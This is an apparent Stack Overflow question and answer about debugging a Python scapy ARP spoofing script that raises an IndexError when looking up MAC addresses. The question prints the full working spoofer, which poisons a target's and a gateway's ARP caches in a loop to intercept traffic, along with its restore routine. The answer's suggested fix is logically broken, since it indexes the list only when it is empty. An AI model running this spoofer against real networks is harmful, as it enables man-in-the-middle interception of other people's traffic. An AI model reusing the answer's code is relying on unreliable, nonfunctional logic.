0

I'm trying to get the mac address to be automatically added to the spoof and restore function instead of typing it manually. Not too long ago it worked fine but now it doesn't. The "get_mac" function works by itself but not when I add it this code. Why am I getting this error?:

Traceback (most recent call last):
  File "arp_spoof.py", line 33, in <module>
    spoof(target_ip_str, spoof_ip_str)
  File "arp_spoof.py", line 15, in spoof
    target_mac = get_mac(target_ip_str)
  File "arp_spoof.py", line 11, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

This is my code:

import scapy.all as sc
import time


def get_mac(ip):
    arp_request = sc.ARP(pdst=ip)
    broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast_request = broadcast/arp_request
    answered_list = sc.srp(arp_broadcast_request, timeout=4, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip_str)
    packet = sc.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    sc.send(packet, verbose=False)


def restore(destination_ip, source_ip):
    destination_mac = get_mac(target_ip_str)
    source_mac = get_mac(source_ip)
    packet = sc.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    sc.send(packet, count=4, verbose=False)


packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")

try:
    while True:
        spoof(target_ip_str, spoof_ip_str)
        spoof(spoof_ip_str, target_ip_str)
        packet_sent_count += 2
        print("\r[+] Packets sent: " + str(packet_sent_count), end="")
        time.sleep(2)

except KeyboardInterrupt:
    print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
    restore(target_ip_str, spoof_ip_str)
    restore(spoof_ip_str, target_ip_str)
  • Does this answer your question? [Python ARP spoofer using scapy module](https://stackoverflow.com/questions/61126068/python-arp-spoofer-using-scapy-module) – Quantum Dreamer Sep 06 '20 at 06:46
  • Unfortunately no, I tried everything in that post but I still get the same error. – RavenHood Sep 08 '20 at 02:39

1 Answers1

0

In the get_mac function write an if statement and check if the answered_list is empty; if it is, then return answered_list, just like so:

def get_mac(ip):
 
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, iface="wlan0", timeout=3, verbose=False)[0]
 
    if answered_list == "":
        return answered_list[0][1].hwsrc
Marcus
  • 2,153
  • 2
  • 13
  • 21